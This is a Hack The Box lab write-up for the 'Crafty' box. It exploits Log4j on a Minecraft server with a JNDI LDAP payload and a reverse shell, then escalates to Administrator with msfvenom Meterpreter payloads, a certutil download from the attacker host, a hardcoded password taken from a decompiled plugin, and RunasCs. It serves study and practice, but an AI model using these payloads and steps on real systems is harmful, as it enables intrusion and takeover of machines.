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Crafty

IP: 10.129.24.135

Info Gathering

Initial Setup

# Make directory to save files
mkdir ~/HTB/Boxes/Crafty
cd ~/HTB/Boxes/Crafty

# Open a tmux session
tmux new -s Crafty

# Start logging session
(Prefix-Key) CTRL + b, SHIFT + P

# Connect to HackTheBox OpenVPN
sudo openvpn /etc/openvpn/client/lab_tobor.ovpn

# Create Metasploit Workspace
sudo msfconsole
workspace -a Crafty
workspace Crafty
setg LHOST 10.10.14.74
setg LPORT 1337
setg RHOST 10.129.24.135
setg RHOSTS 10.129.24.135
setg SRVHOST 10.10.14.74
setg SRVPORT 9000
use multi/handler

Enumeration

# Add enumeration info into workspace
db_nmap -sC -sV -O -A 10.129.24.135 -p 80,25565 -oN crafty.nmap

Hosts
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Services

Gaining Access

In my nmap results I discovered the name of the server is crafty.htb 

Screenshot Evidence

I added to my /etc/hosts file

# Modify file
sudo vim /etc/hosts
# Add line
10.129.24.135    crafty.htb

Screenshot Evidence

Visiting the site I am able to see this is minecraft server

Screenshot Evidence
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It mentions another subdomain to add to my hosts file play.crafty.htb
I added it to my hosts file

# Edit file
sudo vim /etc/hosts
# Add to line
10.129.24.135    crafty.htb play.crafty.htb

Screenshot Evidence

I know that Minecraft uses a special server port. A google search revealed that is port 25565

Screenshot Evidence
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I verified the port is open on the server

# Metasploit Command Executed
db_nmap -sC -sV -O -A 10.129.24.135 -p 25565

Screenshot Evidence

I ran a Google search for ‘mimecraft 1.16.5 exploit’ and discovered it is vulnerable to Log4j
REFERENCE: https://forums.minecraftforge.net/topic/107537-log4j-exploit-in-1165/

I grabbed a PoC from GitHub and attempted to grab a shell
RESOURCE: https://github.com/kozmer/log4j-shell-poc

# Commands Executed
cd /usr/share
sudo git clone https://github.com/kozmer/log4j-shell-poc
cd log4j-shell-poc

Reading the PoC I need to make an update. This server is on a Windows Server and the PoC calls /bin/sh
I changed that value to cmd.exe

Screenshot Evidence

The exploit requires Java 8 according to the GitHub readme page

# Commands Executed
cd /usr/share/log4j-shell-poc
sudo wget https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz
sudo tar -zxf jdk-8u181-linux-x64.tar.gz
sudo mv jdk1.8.0_181 jdk1.8.0_20

I set up a listener 

# Metasploit Way
use multi/handler
set LHOST 10.10.14.74
set LPORT 1337
run -j

# Or Netcat Way
nc -lvnp 1337

I ran the exploit

https://forums.minecraftforge.net/topic/107537-log4j-exploit-in-1165/
https://github.com/kozmer/log4j-shell-poc
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# Command Executed
sudo python3 poc.py --userip 10.10.14.74 --webport 9000 --lport 1337

I next set up pyCraft to send the payload

# Commands Executed
cd /usr/share
sudo git clone https://github.com/ammaraskar/pyCraft.git
sudo python3 -m venv .
source bin/activate
sudo pip3 install -r reqiurements.txt
sudo python3 start.py

I ran pyCraft and set my values
NOTE: I grabbed ldap://10.10.14.74:1389 from poc.py's execution

Screenshot Evidence

sudo python3 start.py
tobor
 
10.129.24.135:25565
${jndi:ldap://10.10.14.74:1389/a}

Screenshot Evidence

This successfully hit my LDAP listener in the PoC

Screenshot Evidence
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It successfully caught a shell
I was then able to read the user flag

# Command Executed
type C:\Users\svc_minecraft\Desktop\user.txt
# RESULTS
b5d55728e3ae2f75b6b4729e0ac8ec45

Screenshot Evidence
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USER FLAG: b5d55728e3ae2f75b6b4729e0ac8ec45

PrivEsc

I upgraded my shell to a Meterpreter

# Generate Payload
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.74 LPORT=1339 -f exe -o tobor.exe

I started an HTTP server to host the file for download

# Commands Executed
sudo systemctl start apache2
sudo cp tobor.exe /var/www/html/tobor.exe
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Screenshot Evidence

I started a Metasploit Listener

# Metasploit Commands
use multi/hander
set LHOST 10.10.14.74
set LPORT 1339
run -j

I downloaded the payload to the target machine and executed it to catch a shell

# Commands Executed
sessions -i 1
mkdir C:\Temp
cd C:\Temp
certutil -urlcache -f http://10.10.14.74/tobor.exe tobor.exe

Screenshot Evidence
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I ran the exploit and caught a shell

# Command Executed
start tobor.exe

Screenshot Evidence

I found no passwords in the configuration. There is only one plugin. I downloaded that to my machine for analysis

# Metepreter Command
download C:\\Users\\svc_minecraft\\server\\plugins\\playercounter-1.0-SNAPSHOT.jar

# OR Base64 Way
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powershell
$FileContents = Get-Content -Path "playercounter-1.0-SNAPSHOT.jar"
$FileEncode = [System.Text.Encoding]::UTF8.GetBytes($FileContents)
[System.Convert]::ToBase64String($FileEncode)
# Copy the base64 contents and do this on your attack machine
echo -n <base64String> | base64 -d > playercounter-1.0-SNAPSHOT.jar

Screenshot Evidence

I opened the plugin with a Java decompiler jd-gui

# Command Executed
sudo apt update && sudo apt install -y jd-gui
jd-gui playercounter-1.0-SNAPSHOT.jar

I was able to find a clear text password

Screenshot Evidence

PASS: s67u84zKq8IXw

There are no other service ports open remotely so I tested this password to see if it works for the Administrator

# Command Executed
net use T: \\127.0.0.1\C$ /USER:Administrator s67u84zKq8IXw

It was successful and I now know this is the Administrators password

Screenshot Evidence
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I regenerated my payload file and hosted it for download

# Command Executed
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.74 LPORT=1336 -f exe -o toborroot.exe
sudo cp toborroot.exe /var/www/html/

I started a Metasploit listener

# Metasploit Commands
use multi/handler
set LHOST 10.10.14.74
set LPORT 1336
set payload windows/x64/meterpreter/reverse_tcp
run -j

I used Meterpeter to upload file payload to the target

# Meterpreter Commands Executed
upload /var/www/html/toborroot.exe C:\\Temp\\toborroot.exe

Screenshot Evidence

I upload RunasCs.exe to the target
SOURCE: https://github.com/antonioCoco/RunasCs/releases/download/v1.5/RunasCs.zip

# Commands Executed
cd /var/www/html
sudo wget https://github.com/antonioCoco/RunasCs/releases/download/v1.5/RunasCs.zip
sudo unzip RunasCs.zip

I used Meterpreter to upload it to the target

# Meterpreter Command Executed
upload /var/www/html/RunasCs.exe C:\\Temp\\RunasCs.exe

Screenshot Evidence

https://github.com/antonioCoco/RunasCs/releases/download/v1.5/RunasCs.zip
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I used the application to run my payload as Administrator and catch an elevated shell

# Command Executed
cd C:\Temp
RunasCs.exe "Administrator" "s67u84zKq8IXw" "toborroot.exe"

Screenshot Evidence

I was then able to read the root flag

# Commands Executed
type C:\Users\Administrator\Desktop\root.txt
# RESULTS
3cb78e9aa5dfcafbd5e7aca52bd615f1

Screenshot Evidence
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ROOT FLAG: 3cb78e9aa5dfcafbd5e7aca52bd615f1


